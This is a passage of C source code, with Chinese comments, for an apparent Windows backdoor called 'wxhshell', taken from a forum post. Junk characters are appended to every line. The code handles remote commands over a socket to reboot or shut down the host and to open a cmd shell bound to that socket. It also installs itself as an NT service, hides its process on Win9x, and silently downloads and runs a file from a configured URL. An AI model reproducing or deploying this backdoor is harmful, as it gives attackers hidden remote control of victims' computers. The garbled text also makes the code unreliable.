    switch(cmd[0]) { Vr2A7kq  
  gP_N|LuF"  
  // 帮助 0ix(1`Z  
  case '?': { >u=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "FHJ_$!  
    break; Q,?_;,I}  
  } xG!~TQ  
  // 安装 ^ `LqNG  
  case 'i': { h<9vm[.  
    if(Install()) 7FH(C`uKi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k:8ib2TQ  
    else !}Xoqamm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Snr(<u  
    break; 0zW*JJxV  
    } |5u~L#P  
  // 卸载 TV`1&ta  
  case 'r': { 7hJX  
    if(Uninstall()) |[],z 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kcS7)"/ zC  
    else +4yre^gC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 461g7R%r  
    break; 4cQP+n  
    } b<FE   
  // 显示 wxhshell 所在路径 (xgw';g  
  case 'p': { s|%R  
    char svExeFile[MAX_PATH]; x3n9|Uud  
    strcpy(svExeFile,"\n\r"); X>I3N?5  
      strcat(svExeFile,ExeFile); OIK x:&uIk  
        send(wsh,svExeFile,strlen(svExeFile),0); T"xJY#)}  
    break; /r4l7K  
    } XFWpHe_ L  
  // 重启 $;5Q mKQ'  
  case 'b': { tW/k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EE 9w^.3a  
    if(Boot(REBOOT)) `r$7Cc$C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]i {yJ)i  
    else { vW?\bH7}I  
    closesocket(wsh); 88HqP!m%P:  
    ExitThread(0); \'~ E%=Q  
    } `W86]ut[  
    break; O2fq9%lk  
    } o`f^m   
  // 关机 `cp\UH@  
  case 'd': { !E$$ FvL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tV !?Ol  
    if(Boot(SHUTDOWN)) ULiRuN0 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aL1%BGlmZ<  
    else {  G*z\ ^H  
    closesocket(wsh); tWn dAM(U7  
    ExitThread(0); 5x+]uABE  
    } )Qb,zS6  
    break; I )mB]j  
    } :)1"yo\  
  // 获取shell P<g(i 6]  
  case 's': { }{R*pmv$bN  
    CmdShell(wsh); NQ`D"n  
    closesocket(wsh); ]5'$EAsuW  
    ExitThread(0); 8m"k3:e^  
    break; 3(c-o0M  
  } `,]Bs*~  
  // 退出 CH6 m  
  case 'x': { ? xR7Ii3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^m z9sV  
    CloseIt(wsh); M v6 ^('  
    break; l.@1]4.  
    } %o8o~B|{.U  
  // 离开 6x^$W ]R  
  case 'q': { =TD`Pet  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z:9Q~}x8  
    closesocket(wsh); {R_>KE1  
    WSACleanup(); gGM fy]]R  
    exit(1); ]FCP|Jz  
    break; >._d2.Q'  
        } c'2/C5  
  } F` ybe\  
  } CyIlv0fd}  
8e?/LA%MU  
  // 提示信息 H9)@q3<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X%b1KG|#(  
} AYnPxiW|  
  } s70Z&3A  
7I;kh`H$(f  
  return; f=^xU P  
} T >8P1p@A,  
V}V->j*  
// shell模块句柄 j*>J1M3E  
int CmdShell(SOCKET sock) M">v4f&K1!  
{ HJ&P[zV^  
STARTUPINFO si; {VAih-y  
ZeroMemory(&si,sizeof(si)); _^E NRk@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @bg9 }Z%\h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?;,;  
PROCESS_INFORMATION ProcessInfo; h~>1 -T8  
char cmdline[]="cmd"; }StzhV{GS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); akvi^]x  
  return 0; -+E.I*st  
} ^xHKoOTj[  
Xc-["y64  
// 自身启动模式 S"!6]!~^  
int StartFromService(void) ZN8j})lE  
{ # `=Zc7gf  
typedef struct `4*I1WZW  
{ /V,xSK9.&  
  DWORD ExitStatus; NQqw|3  
  DWORD PebBaseAddress; XmQ ;Roe  
  DWORD AffinityMask; n=!T (Hk  
  DWORD BasePriority; 4K^cj2 X  
  ULONG UniqueProcessId; 7wj2-BWa  
  ULONG InheritedFromUniqueProcessId; !R@LC  
}   PROCESS_BASIC_INFORMATION; TO Hz3=  
TKnWhB/J  
PROCNTQSIP NtQueryInformationProcess; UPH#~D!  
hJM& rM7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9\"\7S/Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h@`Rk   
=n,;S W  
  HANDLE             hProcess; CFFb>d  
  PROCESS_BASIC_INFORMATION pbi; F?6kkLS/  
:-{"9cgF R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ii+3yE@c  
  if(NULL == hInst ) return 0; 6Rfv3  
!` 1h *}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i\CA6I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GQt5GOt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]y {tMC  
:la i0> D  
  if (!NtQueryInformationProcess) return 0; 2E40&  
=G}a%)?As\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d.f0OhQ  
  if(!hProcess) return 0; =b%f@x_U1  
Owf!dMA;nF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M !6Fnj  
>n,_Aj c  
  CloseHandle(hProcess); Q+1ot,R  
8fqabR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bkJ bnW=  
if(hProcess==NULL) return 0; w9Yx2  
04U|Frc  
HMODULE hMod; `p\%ha!,w  
char procName[255]; q.J6'v lj/  
unsigned long cbNeeded; SAnr|<Y/  
3X(^`lAf)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZSNbf|ldiE  
Vu(NP\Wm  
  CloseHandle(hProcess); 6 :4GI  
;Pk"mC  
if(strstr(procName,"services")) return 1; // 以服务启动 OD'~t,St  
{APfSD_4  
  return 0; // 注册表启动 O ?T~>|  
} Gxd/t#;  
`&NFl'l1C  
// 主模块 v.W!  
int StartWxhshell(LPSTR lpCmdLine) "5eD >!  
{ lB27Z}   
  SOCKET wsl; oI -Fr0!  
BOOL val=TRUE; W_XFTqp^  
  int port=0; (m1m}* @  
  struct sockaddr_in door; wA{) 9.  
W^elzN(  
  if(wscfg.ws_autoins) Install(); D&m1yl@\J  
dFg&|Lp  
port=atoi(lpCmdLine); {b-C,J  
6Y[&1c8  
if(port<=0) port=wscfg.ws_port; s>;"bzzq  
O5du3[2x7a  
  WSADATA data; 9]3l'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r5&c!b\  
ScJ:F-@>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xd3mAf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cPIyD?c  
  door.sin_family = AF_INET; L^e*_q2d:>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2>"{El|PbN  
  door.sin_port = htons(port); HV!P]82Pa  
Jha*BaD~N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U+VJiz<!  
closesocket(wsl); <@`K^g;W  
return 1; ]}SV%*{ %  
} R{}_Qb  
!& c%!*  
  if(listen(wsl,2) == INVALID_SOCKET) { > X  AB#  
closesocket(wsl); (NUXK  
return 1; +]t9kr  
} >kAJS??  
  Wxhshell(wsl); 1%M^MT%&  
  WSACleanup(); leHKBu'd  
IO #)r[JZ  
return 0; {$N\@q@v~  
<=uO*s>%  
} ruqE]Hx9(  
JK)|a@BtOT  
// 以NT服务方式启动 W{IP}mM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ 2@Lc3<  
{ E2 'Al6^C  
DWORD   status = 0; Ew}GPJ  
  DWORD   specificError = 0xfffffff; H?opG<R=ek  
p,WBF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rt%Dps%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VII`qbxT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ge$&k  
  serviceStatus.dwWin32ExitCode     = 0; Q3lVx5G>4  
  serviceStatus.dwServiceSpecificExitCode = 0; >ptI!\i}  
  serviceStatus.dwCheckPoint       = 0; ~i^,Z&X:  
  serviceStatus.dwWaitHint       = 0; pnz@;+f  
#O^zA`D   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .f!'> _  
  if (hServiceStatusHandle==0) return; MS SHMR  
Qvny$sr2  
status = GetLastError(); hW,GsJ,  
  if (status!=NO_ERROR) \^F6)COy  
{ 0jp y c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;F_&h#D]3  
    serviceStatus.dwCheckPoint       = 0; ?{Xp'D\z  
    serviceStatus.dwWaitHint       = 0; s5 Fn("h]n  
    serviceStatus.dwWin32ExitCode     = status; yPbOiA*lHz  
    serviceStatus.dwServiceSpecificExitCode = specificError; HH!SqkwT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IKp(KlA  
    return; 6w<p1qhW  
  } UL7%6v{'*  
~R|fdD/%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AF{o=@  
  serviceStatus.dwCheckPoint       = 0; ,^xsdqpe  
  serviceStatus.dwWaitHint       = 0; P\c0Q;){h"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (I`< ;  
} hy"p8j7_  
x2i`$iNhmP  
// 处理NT服务事件,比如:启动、停止 Fo"' [`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0A ~f ^  
{ YS"76FJ  
switch(fdwControl) /? j^Qu  
{ [0+5 Gx  
case SERVICE_CONTROL_STOP: zJ0'KHF}o  
  serviceStatus.dwWin32ExitCode = 0; ,Ur~DXY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {iq{<;)U?U  
  serviceStatus.dwCheckPoint   = 0; HSl$ U0  
  serviceStatus.dwWaitHint     = 0; ]*S_fme  
  { uuh vd h=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8DrKq]&  
  } (aCl*vV1  
  return; J! eVw\6  
case SERVICE_CONTROL_PAUSE: nfvs"B;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I^ A01\p  
  break; ;rta#pRn  
case SERVICE_CONTROL_CONTINUE: A%M&{S'+|X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QQjMC'  
  break; 6 ud<B  
case SERVICE_CONTROL_INTERROGATE: EVmE{XlD;  
  break; `V ++})5v  
}; q14A 'XW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UE\@7  
} ]*;+ U6/?  
"=!QSb  
// 标准应用程序主函数 w1A&p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TA Yt:  
{ DPtyCgH  
b_Ky@kp  
// 获取操作系统版本 eEe8T=mD  
OsIsNt=GetOsVer(); ]i]sgg[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?t.?f`(|  
Hp> J,m(*  
  // 从命令行安装 L{CHAVkV  
  if(strpbrk(lpCmdLine,"iI")) Install(); l 0b=;^6  
>|I3h5\M  
  // 下载执行文件 ;/{Q4X{  
if(wscfg.ws_downexe) { I0jEhg%JZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iei4yDv ;  
  WinExec(wscfg.ws_filenam,SW_HIDE); J&:0ytG  
} +TX p;6pA  
dl$l5z\  
if(!OsIsNt) { _5YL !v&  
// 如果时win9x,隐藏进程并且设置为注册表启动 R QO{fC  
HideProc(); NtOR/*  
StartWxhshell(lpCmdLine); Mw5!9@Fc7  
} E[Io8|QA  
else %J%gXk}]  
  if(StartFromService()) :~)Q]G1Nj  
  // 以服务方式启动 $v oyXi`*  
  StartServiceCtrlDispatcher(DispatchTable); +#H8d1^5  
else B 9Mwj:)}  
  // 普通方式启动 $kz5)vj "  
  StartWxhshell(lpCmdLine); ~O 6~',KD  
K6oX nz}  
return 0; @x J^JcE  
}
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只看该作者 1 发表于: 2006-10-10
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